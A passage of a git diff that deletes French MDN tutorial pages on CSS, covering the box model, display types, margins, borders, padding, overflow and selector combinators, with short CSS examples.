Les éléments <a>, utilisés pour les liens, ou encore <span>, <em> et <strong> sont tous des éléments qui s'affichent "en ligne" par défaut.

- -

Le type de boîte appliqué à un élement est défini par la valeur de la propriété {{cssxref("display")}} tel que block ou inline, et se réfère à la valeur extérieur de positionnement (ou "display" en anglais).

- -

Aparté : Les positionnements intérieurs et extérieurs

- -

Au point où nous en sommes, il faut aborder la différence entre les propriétés de positionnement intérieurs ("inner dipslay") et extérieurs ("outer display"). Comme nous l'avons évoqué, les boîtes en CSS possèdent un type de positionnement extérieur qui détermine si la boîte est "en ligne" ou bien "en bloc".

- -

Cependant, les boîtes ont aussi un type de positionnement intérieur, qui décrit le comportement de mise en page des élements contenus dans la boîte. Par défaut, les éléments contenus dans la boîte sont affichés dans la disposition normale, ce qui signifie qu'ils se comportent exactement comme n'importe quel autre élément "en bloc" ou "en ligne" (comme décrit auparavant).

- -

Ce type de positionnement intérieur peut naturellement être modifié, en utilisant la valeur flex de la propriété display. Ainsi, si on donne la propriété display: flex; à un élément, son type depositionnement extérieur est "en bloc" (block), mais son type de positionnement intérieur est modifié en flex. Tout élément directement enfant de cette boîte se voit alors changé en élément flex, et sera mis en page selon les règles précisées dans les spécifications de Flexbox, dont on reparlera plus tard.

- -
-

Note : Pour en apprendre d'avantage sur les valeurs prises par la propriété display, et le comportement des boîtes dans une mise en page en bloc ou en ligne, jettez un coup d'oeil au guide MDN sur la Disposition en ligne et en bloc.

-
- -

Lorque vous en apprendrez plus sur la mise en page en CSS, vous découvrirez une variété d'autres valeurs de positionnement intérieur pour une boîte, tel que flex, ou encore grid.

- -

Les dipositions "en ligne" et "en bloc" demeurent néanmoins le comportement par défaut des éléments sur le web — ce qui, comme nous l'avons vu, est appelé la disposition normale ("normal flow" en anglais), puisque sans instructions supplémentaires de notre part, c'est ainsi que les boîtes sont mises en page.

- -

Exemples de quelques types de positionnement

- -

Lançons nous à présent dans la pratique et étudions quelques exemples. Vous trouverez ci-dessous trois éléments HTML différents, mais qui sont tous en postionnement extérieur "en bloc" (block). Le premier est un paragraphe, possèdant une bordure (un cadre) ajoutée en CSS. Le navigateur va alors disposer l'élément comme une boîte "en bloc" lors de sa phase de rendu : le paragraphe occupe alors sa propre nouvelle ligne et s'étend en largeur pour occuper tout l'espace disponible.

- -

Le deuxième élément est une liste, qui est disposée selon la règle display: flex;. Ceci définit une mise en page "flex" pour tous les éléments contenue dans la liste, bien que la liste en elle-même est en disposition "en bloc" — c'est pourquoi elle s'étend en largeur sur une nouvelle ligne, exactement comme le premier paragraphe.

- -

Juste en dessous, se trouve un autre paragraphe, diposé en bloc comme le précédent, dans lequel sont insérés deux éléments <span>. Ces deux éléments sont par défaut disposés "en ligne". Cependant, on a ajouté à l'un des deux <span> une classe CSS nommée "block" qui lui attribue la propriété display: block;, ce qui explique la différence de mise en page observée.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}} 

- -

Nous avons dans cet exemple le comportement typique d'un élément en ligne (inline), observant chacune des règles énoncées plus haut : l'élément <span> du premier paragraphe ne force pas de retour à la ligne et se place à la suite - en ligne donc - des autres éléments.

- -

Nous avons en suite un élément <ul> dont la propriété de positionnement est display: inline-flex;, ce qui fait du <ul> une boîte en ligne, contenant des éléments de liste (<li>) dipsosés en "flex".

- -

Pour finir, nous avons deux paragraphes, tous deux définis en display: inline;. Le texte dans ces paragraphes, tout comme les éléments de listes, sont disposés sur la même ligne sans retour à la ligne pour chaque élément, contrairement à une disposition en bloc.

- -

Dans cet exemple, nous vous invitons à passer de display: inline; à display: block; ou encore de display: inline-flex; à display: flex; pour observer les modifications apportées par ces modes de positionnement.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}} 

- -

Vous rencontrerez des mises en page de type "flex" plus tard dans ces lessons, pas d'inquiétude si ce type de positionnement n'est pas maîtrisé. L'important est ici de se souvenir que c'est la valeur de la propriété display qui permet de modifier l'affichage extérieur (en ligne ou en bloc), ce qui définit l'interaction de la boîte par rapport à son environement dans la mise en page.

- -

Pour le reste de la leçon, nous ne parlerons plus que du type de positionnement extérieur.

- -

Qu'est-ce que le Modèle de Boîte en CSS ?

- -

Le modèle de boîte que nous allons voir s'applique totalement aux boîtes en bloc, mais les boîtes en ligne ne reprennent que certains aspects — le modèle est alors simplifié ! Ce modèle définit comment chaque composant de la boîte, à savoir le margin (remplissage extérieur), le border (cadre), le padding (remplissage intérieur) et le contenu, fonctionnent ensemble pour former l'aspect final rendu à l'écran. Pour ajouter un soupçon de complexité, il est aussi possible de passer du modèle standard à un modèle alternatif.

- -

Les composants d'une boîte

- -

Lorsque l'on crée une boîte en bloc, on se retrouve avec les composants suivant :

- - - -

Le schéma ci-dessous montre la structure de ces différentes couches:

- -

Diagram of the box model

- -

Le Modèle Standard de Boîte CSS

- -

Dans le modèle standard, lorsque vous spécifiez les propriétés de largeur (width) et de hauteur (height), celles-ci définissent alors la hauteur et la largeur de la boîte de contenu (la boîte la plus à l'intérieur donc). La taille des padding et du border (s'ils existent) s'ajoutent à la largeur et à la hauteur définies dans width et height pour obtenir les dimensions totales occupées par la boîte. Le margin étant extérieur, il ne rentre pas dans le compte. Ce principe est illustré dans l'exemple ci-dessous.

- -

En prenant une boîte définie avec les valeurs suivantes de width, height, margin, border et padding :

- -
.box {
-  width: 350px;
-  height: 150px;
-  margin: 10px;
-  padding: 25px;
-  border: 5px solid black;
-}
-
- -

L'espace occupé par notre boîte dans le modèle standard vaut alors 410px (350 + 25 + 25 + 5 + 5), et la hauteur, 210px (150 + 25 + 25 + 5 + 5), en ajoutant bien les valeurs de padding et de border (deux fois, car ces marges sont présentes aux deux extrêmités de la largeur et de la longeur), aux valeurs de width et de height.

- -

Showing the size of the box when the standard box model is being used.

- -
-

Note : Le margin (marge extérieure) n'est pas comptabilisé dans la taille totale de la boîte — car bien qu'elle affecte l'espace que la boîte va prendre en définitive dans la page, il ne s'agit que de l'espace extérieur à la boîte. La zone couverte par la boîte s'arrête donc au border (le cadre) et ne s'étend pas au margin.

-
- -

Le Modèle Alternatif de Boîte CSS

- -

À ce stade, vous pourriez penser qu'il n'est pas très commode d'avoir à ajouter constament les dimensions du border et du padding aux dimensions du conteneur pour obtenir les dimensions totales de la boîte, et vous n'auriez pas tort ! Pour cela, le CSS possède un modèle de boîte alternatif introduit peu de temps après le modèle standard. En utilisant ce modèle, les paramètres width et height définissent la largeur et la hauteur totale de la boîte en comprenant le contenu, le padding et le border. Ainsi, pour obtenir la taille du contenu, il faut retirer aux dimension la taille du padding et du border. En reprenant l'exemple précédent avec ce modèle, on obtiendrait les dimensions suivantes: width = 350px, height = 150px.

- -

Showing the size of the box when the alternate box model is being used.

- -

Le navigateur utilise le modèle standard par défaut. Pour utiliser le modèle alternatif, il faut  définir la propriété box-sizing: border-box; sur notre boîte. Cela revient à demander au navigateur de considérer la boîte du cadre (la "border box") comme la zone d'effet de width et height, et non la boîte du contenu comme dans le modèle standard !

- -
.box {
-  box-sizing: border-box;
-}
- -

Si vous désirez utiliser le modèle alternatif sur tous vos éléments — ce qui est un choix répendu parmi certains cercles de développeurs — vous pouvez le faire simplement à l'aide de ces quelques instructions ci-dessous, en utilisant box-sizing sur l'élément <html> et en utilisant l'effet cascade du CSS en paramètrant tous les autres éléments sur la valeur hérité du parent (inherit). Si vous tenez à comprendre le raisonnement derrière ce code, regardez du coté de l'article des Astuces CSS sur box-sizing.

- -
html {
-  box-sizing: border-box;
-}
-*, *::before, *::after {
-  box-sizing: inherit;
-}
- -
-

Note : Pour l'anecdote, le navigateur Internet Explorer utilisait historiquement le modèle alternatif par defaut — sans pour autant fournir un moyen de passer à l'autre modèle !

-
- -

Manipuler les modèles de boîtes

- -

Dans l'exemple ci-dessous, se trouvent deux boîtes. Ces deux boîtes possèdent la classe .box qui leur confère les mêmes valeurs pour les propriétés width, height, margin, border et padding. La seule différence est que la seconde boîte utilise le modèle alternatif.

- -

Pouvez-vous modifier les dimensions de la seconde boîte (en lui ajoutant le CSS dans la classe .alternate) pour lui permettre d'avoir la même hauteur et largeur finale que l'autre boîte ?

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}} 

- -
-

Note: vous pouvez trouver une solution ici.

-
- -

Utiliser les DevTools pour voir le modèle de boîte

- -

Les outils de développement de votre navigateur peuvent vous permettre d'apréhender les concepts de boîte bien plus facilement. Si vous inspectez un élément dans les DevTools de Firefox (clic droit > Examiner l'élément), vous pouvez avoir accès à toutes les propriétés des différentes couches de la boîte (contenu, padding, border et margin) dans l'interface graphique interactive montrée ci-dessous. Inspecter un élément ainsi, c'est s'assurer qu'il possède bien la taille que l'on désire !

- -

Inspecting the box model of an element using Firefox DevTools

- -

Margins, paddings, et borders

- -

Nous avons déjà rencontré ensemble les propriétés {{cssxref("margin")}}, {{cssxref("padding")}} et {{cssxref("border")}}, ainsi que leurs effets dans les exemples précédents. Mais ces propriétés sont des raccourcis qui nous permettent de définir ces règles pour les quatres côtés de la boîte d'un seul coup. Ces raccourcis ont donc aussi leurs propriétés équivalentes permettant de régler séparement chaque côté pour plus de personalisation.

- -

Regardons de plus près ces nouvelles propriétés.

- -

Les Margins (Marges extérieures)

- -

Le margin est une zone d'espacement invisible qui encadre votre boîte (une marge extérieure). Le margin repousse les éléments alentours de le boîte. On peut de plus lui donner une valeur numérique positive ou bien même négative ! Lorsque cette valeur est négative, cela peut cependant engendrer des superpositions entre votre boîte et d'autres éléments. Que vous utilisiez le modèle alternatif ou standard, le margin est toujours décompté en surplus de la taille totale de la boîte et est ajouté après que celle-ci a été calculée.

- -

On peut fixer les quatres margins d'une boîte d'un seul coup à l'aide de la propriété {{cssxref("margin")}}, ou bien régler chaque côté individuelement avec les propriétés équivalentes suivantes :

- - - -

Dans l'exemple ci-dessous, tentez donc de modifier les valeurs de margin pour voir comment la boîte est repoussée et évolue à cause des espaces créés ou suprimés (si le margin est négatif) par vos soins.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}} 

- -

La fusion des marges

- -

Le concept de fusion entre les marges est important à maîtriser pour la mise en page. Si deux éléments de votre page ont des margins qui se touchent, alors ces margins fusionnent pour ne faire plus qu'un seul margin qui aura pour taille la plus grande des deux tailles des margins initiaux.

- -

Dans l'exemple ci-dessous, nous avons deux paragraphes. Le paragraphe du haut a un margin-bottom de 50 pixels. Le second paragraphe a un margin-top de 30 pixels. Puisque ces deux margins se touchent, ils fusionnent ensemble, et ainsi le margin final entre les deux paragraphes est de 50 pixels et non 80, la somme des deux margins.

- -

Vous pouvez tester cette propriété par vous même en modifiant la propriété margin-top du deuxième paragraphe à 0 dans l'exemple ci-dessous. Le margin visible entre les deux paragraphes demeure inchangé — il conserve sa taille de 50 pixels qui provient du margin-bottom du premier paragraphe.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}} 

- -

Il existe quelques règles qui contrôlent la fusion ou non des marges. Pour plus d'informations, référez vous à la page détaillée Maîtriser la fusion des marges. Si vous ne devez retenir qu'une chose, c'est que les marges peuvent fusionner, et que si vos marges ne correspondent pas à vos attentes, c'est certainement ce phénomène qui est derrière.

- -

Les Borders (Cadres)

- -

le border (le cadre en français) se situe entre le margin (marge externe) et le padding (marge interne) d'une boîte. Si vous utilisez le modèle standard de boîte, la taille du border s'ajoute à la largeur (width) et la hauteur (height) de la boîte. Si vous utilisez le modèle de boîte alternatif, alors la taille du border rends la taille disponible pour le contenu plus petite puisqu'il utilise une partie du width et height disponible.

- -

Pour agir sur le style d'un border, il existe de nombreuses propriétés qui permettent de régler le style, la taille et la couleur pour chacun des quatres côtés du cadre.

- -

Vous pouvez naturellement fixer la forme taille et couleur des quatres côtés en une seule fois, par le biais de la propriété border.

- -

Pour régler ces propriétés individuellement pour chacun des côtés, vous pouvez utiliser :

- - - -

Pour modifier la taille, le style ou la couleur de tous les côtés en même temps, utilisez les propriétés suivantes :

- - - -

Pour modifier la taille, le style ou la couleur d'un seul coté à la fois, vous pouvez faire l'usage de ces propriétés :

- - - -

Dans l'exemple ci-dessous, nous avons utilisé différentes propriétés, qu'elles soient des raccourcis ou bien les propriétés précises, pour créer un cadre (border). Amusez-vous à modifier les valeurs de ces différentes propriétés pour vérifier que vous comprenez bien comment elles s'organisent. Les pages du MDN pour les propriétés des borders (données ci-dessus) vous documentent sur les différents styles que vous pouvez appliquer à vos pages. N'hésitez pas à les consulter.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} 

- -

Les Paddings (Marges intérieures)

- -

Les paddings (ou marges intérieures) se situent entre le border (le cadre) et la zone du contenu. Contrairement aux margins, on ne peut attribuer une valeur numérique négative à un padding, la valeur ne peut être que 0 ou bien une valeur positive. Si vous avez défini un arrière plan à votre élément, celui-ci continuera de s'afficher dans la padding, et c'est pourquoi cette propriété est souvent utilisée pour repousser le contenu du border (le cadre).

- -

On peut une fois de plus configurer le padding pour tous les côtés à la fois à l'aide de la propriété {{cssxref("padding")}}, ou bien chaque côté indépendament des autres en utilisant les variantes plus précises suivantes :

- - - -

Si vous modifiez les valeurs du padding sur la classe .box de l'exemple ci-dessous, vous pouvez observer comment l'emplacement du texte est impacté par les marges intérieures.

- -

Tentez aussi de modifier la valeur du padding dans la classe .container, cela aura pour effet d'espacer le conteneur et la boîte. Le padding peut être modifié sur tout élément pour permettre d'espacer le contenu du cadre.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} 

- -

Le modèle de boîte et la disposition en ligne

- -

Toutes les règles énoncées plus haut s'appliquent totalement aux boîtes positionnées en bloc. Mais qu'en est-il des boîtes positionnées en ligne, comme l'élément <span> par exemple ?

- -

Dans l'exemple ci-après, nous avons un élément <span> inclus dans un paragraphe auquel on a défini les propriétés width, height, margin, border et padding. Vous pouvez alors observer que les paramètres width et height sont totalement ignorés. Les propriétés de margin, padding et border sont quant à elles appliquées, mais n'ont pas modifié l'espacement avec les autres éléments de la page, se superposant ainsi avec les mots environnants dans le paragraphe.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} 

- -

le positionnement display: inline-block

- -

Il existe une valeur spéciale pour la propriété display, qui constitue un compromis entre la diposition en ligne et la disposition en bloc, une sorte d'entre-deux qui combine ces deux dispositions. Cet état peut-être utile dans les situations où l'on désire utiliser les propriétés width et height, et éviter les superpositions (voir l'exemple précédent), tout en conservant la disposition dans une même ligne (i.e. sans créer de nouvelle ligne, comme le ferait une disposition en bloc).

- -

C'est la solution apportée par la disposition display: inline-block; qui emprunte des règles des deux dispositions pour satisfaire ces motivations :

- - - -

Cette disposition suit alors ces règles, tout en conservant un positionnement sur la même ligne, sans retour à la ligne, ni affichage sur sa propre nouvelle ligne. L'élément peut même devenir plus grand que son conteneur si les propriétés width et height le définissent ainsi.

- -

Dans cet exemple, nous avons ajouté la propriété display: inline-block; à notre élément <span>. Changez donc la valeur en display: block; ou bien tentez même de supprimer cette ligne pour observer l'utilité de cette nouvelle disposition.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}} 

- -

Ceci peut-être très utile dans certains cas comme lorsque l'on veut élargir la zone cliquable d'un lien en aggrandissant le padding. l'élément <a> est par défaut "en ligne", comme un <span>, mais vous pouvez alors utiliser display: inline-block; pour permettre au padding d'être ajouté correctement sur la page, améliorant l'accessibilité du lien pour l'utilisateur.

- -

Vous pouvez rencontrer cette astuce sur bon nombre de menus de navigation dans les sites web. Par exemple, la barre de navigation ci-dessous est affichée en une seule ligne en utilisant la disposition flexbox et nous avons ajouté un padding aux lien <a> pour pouvoir modifier la couleur de fond (background-color) au survol du curseur. Le padding semble se superposer sur la bordure de l'élément <ul>. Ceci est dû au fait que <a> est un élément en ligne.

- -

Ajoutez la propriété display: inline-block;  en utilisant le sélecteur .links-list a pour voir le respect du padding régler ce problème.

- -

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}} 

- -

Conclusion

- -

À présent vous connaissez tout ce dont vous avez besoin pour comprendre le modèle des boîtes en CSS. N'hésitez pas à revenir jetter un coup d'oeil à ce cours si vous rencontrez encore des problèmes de mise en page : beaucoup de solutions se trouvent ici !

- -

Dans la leçon suivante, ce sont les arrières-plans et cadres qui capterons notre attention, afin de rendre votre mise en page plus attrayante.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}

- -

Dans ce module

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/overflowing_content/index.html b/files/fr/apprendre/css/building_blocks/overflowing_content/index.html deleted file mode 100644 index 3b13da9e6b..0000000000 --- a/files/fr/apprendre/css/building_blocks/overflowing_content/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Overflow - Débordements de contenu -slug: Apprendre/CSS/Building_blocks/Overflowing_content -translation_of: Learn/CSS/Building_blocks/Overflowing_content ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}
- -

Dans ce cours nous allons étudier un autre concept important en CSS — overflow (débordement). Un overflow (débordement de contenu) correspond à ce qui se produit lorsque le contenu à insérer dans une boîte occupe trop d'espace pour s'y insérer confortablement. Dans ce guide vous allez apprendre à gérer cela.

- - - - - - - - - - - - -
Prérequis:Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif:Comprendre le principe de l'overflow et comment le gérer.
- -

Qu'est ce qu'un overflow?

- -

Nous savons déjà qu'en CSS tout fonctionne par boîte, et que nous pouvons définir la taille de ces boîtes en leur donnant les valeurs  {{cssxref("width")}} et {{cssxref("height")}} (ou {{cssxref("inline-size")}} et {{cssxref("block-size")}}). Un overflow correspond à ce qui se produit lorsqu'il y a trop de contenu dans une boîte et que ce contenu ne s'y intègre pas confortablement. CSS propose différents outils pour gérer ce phénomène, c'est un concept utile à comprendre à ce stade. Vous allez rencontrer des cas d'overflow fréquemment en codant du CSS, particulièrement quand vous irez plus loin dans la mise en page avec CSS.

- -

CSS essaie d'éviter les pertes de données

- -

Commençons par observer deux exemples qui montrent comment CSS se comporte par défaut quand il y a un débordement de contenu.

- -

Le premier est une boîte dont la dimension dans le bloc a été définie en lui donnant une valeur height. Nous lui avons ensuite ajouté plus de contenu qu'il n'y a d'espace disponible dans la boîte. Le contenu déborde de la boîte et chevauche de façon désordonnée le paragraphe situé sous la boîte.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}

- -

Le second est un mot dans une boîte limitée sur la dimension inline. La boîte a été rendue trop petite pour que ce mot puisse s'y insérer et il déborde de la boîte.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}

- -

Vous vous demandez peut-être pourquoi le CSS a adopté par défaut l'approche plutôt brouillonne consistant à faire déborder le contenu de manière désordonnée ? Pourquoi ne pas cacher le contenu supplémentaire, ou faire grossir la boîte ?

- -

Dans la mesure du possible, le CSS ne masque pas votre contenu ; le faire entraînerait des pertes de données, ce qui pose généralement problème. En termes de CSS, cela signifie que certains contenus disparaissent. Le problème de la disparition de contenu est que vous pourriez ne pas remarquer qu'il a disparu. Vos visiteurs également ne le remarqueront peut-être pas. Si c'est le bouton "Envoyer" d'un formulaire qui disparaît et que personne ne peut remplir ce formulaire, c'est un gros problème ! Au lieu de cela, le CSS a tendance à déborder de manière visible. Il est probable que vous verrez le désordre, ou au pire un visiteur de votre site vous fera savoir que certains contenus se chevauchent et qu'il faut donc les corriger.

- -

Si vous avez défini une boîte avec des valeurs width ou height, CSS part du principe que vous savez ce que vous faîtes et que vous gérez le risque de débordement. En général, contraindre la dimension du bloc est problématique lorsque du texte va être mis dans une boîte, car il peut y avoir plus de texte que prévu lors de la conception du site ou que le texte peut être plus gros - par exemple si l'utilisateur a augmenté la taille de sa police.

- -

Dans les deux prochaines leçons, nous examinerons différentes façons de contrôler la taille des éléments afin de limiter l'overflow. Cependant, si vous avez besoin d'une taille fixe, vous pouvez également contrôler le comportement du trop-plein. Voyons maintenant!

- -

La propriété overflow

- -

La propriété  {{cssxref("overflow")}} est la façon dont vous prenez le contrôle du débordement d'un élément et dîtes au navigateur comment vous voulez qu'il se comporte. La valeur par défaut est visible, c'est pourquoi, par défaut, nous pouvons voir notre contenu quand il déborde.

- -

Si vous souhaitez recadrer le contenu qui déborde, vous pouvez définir overflow: hidden pour votre boîte. Cela fera exactement ce qui est indiqué — cacher le débordement. Vous ne devez donc le faire que si la disparition du contenu ne pose pas de problème.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}

- -

Peut-être préféreriez-vous ajouter des barres de défilement lorsque le contenu déborde ? Si vous utilisez overflow: scroll alors votre navigateur ajoutera systématiquement des barres de défilement — même s'il n'y a pas assez de contenu pour faire défiler. Vous pourriez le souhaiter, car cela empêche l'apparition et la disparition des barres de défilement en fonction du contenu.

- -

Si vous retirez du contenu de la boîte ci-dessous, vous constaterez que les barres de défilement restent même s'il n'y a rien à faire défiler.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}

- -

Dans l'exemple ci-dessus nous n'avons besoin de faire défiler que l'axe y, cependant nous avons des barres de défilement sur les deux axes. Vous pourriez utiliser à la place la propriété {{cssxref("overflow-y")}}, qui définit overflow-y: scroll afin de faire défiler uniquement sur l'axe y.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}

- -

Vous pourriez également faire défiler sur l'axe x en utilisant {{cssxref("overflow-x")}}, bien que ce ne soit pas une méthode recommandée pour gérer les longs mots ! Si vous avez besoin de gérer un long mot dans une petite boîte alors vous pourriez vous tourner vers les propriétés {{cssxref("word-break")}} ou {{cssxref("overflow-wrap")}}. En complément, certaines méthodes présentées dans le cours Définir la taille des éléments en CSS peuvent vous aider à créer des boîtes qui s'adapteront mieux à des quantités variables de contenu.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}

- -

Comme pour scroll, une barre de défilement apparaîtra sur l'axe sélectionné qu'il y ait suffisamment de contenu ou pas pour créer un défilement.

- -
-

Note: vous pouvez spécifier le défilement x et y simultanément en utilisant la propriété overflow en déclarant deux valeurs. Si deux mots clés sont spécifiés , le premier s'applique à overflow-x et le second à overflow-y. Sinon, overflow-x et overflow-y sont définis sur la même valeur. Par exemple, overflow: scroll hidden définira overflow-x sur scroll et overflow-y sur hidden.

-
- -

Si vous souhaitez que les barres de défilement n'apparaissent que si il y a plus de contenu que la boîte ne peut en contenir, utilisez overflow: auto. Dans ce cas c'est le navigateur qui décidera d'afficher ou non les barres de défilement. Les navigateurs Desktop ne le font généralement que lorsqu'il y a suffisamment de contenu pour provoquer un débordement.

- -

Dans l'exemple ci-dessous, retirez du contenu jusqu'à ce que ça rentre dans la boîte et vous devriez voir les barres de défilement disparaître.

- -

{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}

- -

Overflow crée un "Block Formatting Context"

- -

Il existe un concept dans le CSS de "Block Formatting Context" (BFC). Ce n'est pas quelque chose dont vous devez trop vous préoccuper pour l'instant, mais il est utile de savoir que lorsque vous utilisez une valeur d'overflow comme scroll ou auto vous créez un BFC. Le résultat est que le contenu de la boîte pour laquelle vous avez modifié la valeur de overflow devient une mini mise en page à part entière. Les éléments extérieurs au conteneur ne peuvent pas pénétrer dans le conteneur, et rien ne peut sortir de cette boîte pour pénétrer dans la mise en page qui l'entoure. Cela permet d'activer le défilement, car tout le contenu de votre boîte devra être intégré et ne pas chevaucher d'autres éléments de la page afin de créer une expérience de défilement cohérente.

- -

Débordements indésirables en web design

- -

Les méthodes de mise en page modernes (comme étudiées dans le module La mise en page avec le CSS) gèrent très bien l'overflow. Elles ont été conçues pour faire face au fait que nous avons tendance à ne pas pouvoir prévoir la quantité de contenu que nous aurons sur le web. Par le passé, les développeurs utilisaient souvent des hauteurs fixes pour aligner le bas des boîtes qui n'avaient pas vraiment de relation entre elles. C'était une méthode fragile et il peut arriver qu'occasionnellement, dans une application ancienne, vous soyez confrontés à une boîte dans laquelle le contenu déborde sur la suite de la page. Si vous observez ce phénomène, vous savez maintenant qu'il s'agit d'un overflow ; idéalement vous devriez remanier la mise en page afin de ne pas avoir à contraindre la taille de la boîte.

- -

Lorsque vous développez un site, vous devez toujours garder à l'esprit les problèmes d'overflow. Vous devez tester des conceptions avec des quantités de contenu importantes et réduites, augmenter la taille de la police et vous assurer que votre CSS peut s'en sortir de manière efficace. La modification de la valeur d'overflow pour masquer le contenu ou ajouter des barres de défilement ne sera probablement réservée qu'à quelques rares cas particuliers - par exemple lorsque vous voulez spécifiquement une barre de défilement.

- -

Testez-vous!

- -

Nous avons couvert beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien retenu ces informations avant de partir - voir (en anglais) Testez vos compétences: overflow.

- -

Résumé

- -

Cette courte leçon a introduit le concept d'overflow ; vous comprenez maintenant que le CSS essaie de ne pas faire disparaître le contenu qui déborde car cela entraînerait des pertes de données. Vous avez découvert que vous pouvez gérer un overflow éventuel, et que vous devez également tester votre travail pour vous assurer que vous ne causez pas accidentellement un overflow problématique.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}

- -

Dans ce module

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/selectors/combinateurs/index.html b/files/fr/apprendre/css/building_blocks/selectors/combinateurs/index.html deleted file mode 100644 index 080ef78d83..0000000000 --- a/files/fr/apprendre/css/building_blocks/selectors/combinateurs/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Combinateurs -slug: Apprendre/CSS/Building_blocks/Selectors/Combinateurs -tags: - - CSS - - Sélecteurs - - combinateurs -translation_of: Learn/CSS/Building_blocks/Selectors/Combinators ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}

- -

Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, car ils combinent différents sélecteurs de façon à leur donner une relation utile et l'emplacement du contenu dans le document.

- - - - - - - - - - - - -
Prérequis:Connaissances informatiques de base, les outils de base installés, connaissance de base de gestion des fichiers, les bases du HTML (voir Introduction au HTML), et une idée du fonctionnement du CSS (voir Premiers pas avec CSS.)
Objectif:En savoir plus sur les différents sélecteurs combinateurs utilisables en CSS.
- -

Combinateur descendant

- -

Le combinateur descendant— en général représenté par un seul espace ( ) — combine deux sélecteurs de sorte que les éléments choisis par le second sélecteur sont sélectionnés s'ils ont un élément ancêtre (parent, parent de parent, parent de parent de parent, etc...) qui correspond au premier sélecteur. Les sélecteurs qui utilisent un combinateur descendant sont appelés sélecteurs descendants.

- -
body article p
-
- -

Dans l'exemple ci-dessous, nous ne sélectionnons que l'élément <p>, qui est à l'intérieur d'un élément de classe .box.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}

- -

Combinateur enfant

- -

Le combinateur enfant (>) est placé entre deux sélecteurs CSS. Il correspond uniquement aux éléments correspondant au second sélecteur qui sont les enfants directs des éléments correspondants au premier. Les éléments descendants plus bas dans la hiérarchie ne correspondent pas. Par exemple, pour sélectionner uniquement les éléments <p> qui sont des enfants directs des éléments <article>:

- -
article > p
- -

Dans cet exemple suivant, nous avons une liste non ordonnée, imbriquée à l'intérieur de laquelle se trouve une liste ordonnée. Nous utilisons le combinateur enfant pour sélectionner uniquement les éléments <li> qui sont un enfant direct d'un <ul>, et leur ai donné une bordure supérieure.

- -

si vous supprimez le > qui désigne cela comme un combinateur enfant, vous vous retrouvez avec un sélecteur descendant et tous les éléments <li> auront une bordure rouge.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}

- -

Combinateur frère adjacents

- -

Le sélecteur de frère adjacent (+) est utilisé pour sélectionner quelque chose s'il est juste à côté d'un autre élément au même niveau de la hiérarchie. Par exemple, pour sélectionner tous les éléments <img> qui viennent juste après les éléments <p>:

- -
p + img
- -

Un cas d'utilisation courant consiste à faire quelque chose avec un paragraphe qui suit un titre, comme dans mon exemple ci-dessous. Ici, nous recherchons un paragraphe qui est directement adjacent à un <h1>, et le stylisons.

- -

Si vous insérez un autre élément tel qu'un <h2> entre le <h1> et le <p>, vous constaterez que le paragraphe ne correspond plus au sélecteur et ne reçoit donc pas la couleur d'arrière-plan et de premier plan appliquée lorsque le l'élément est adjacent.

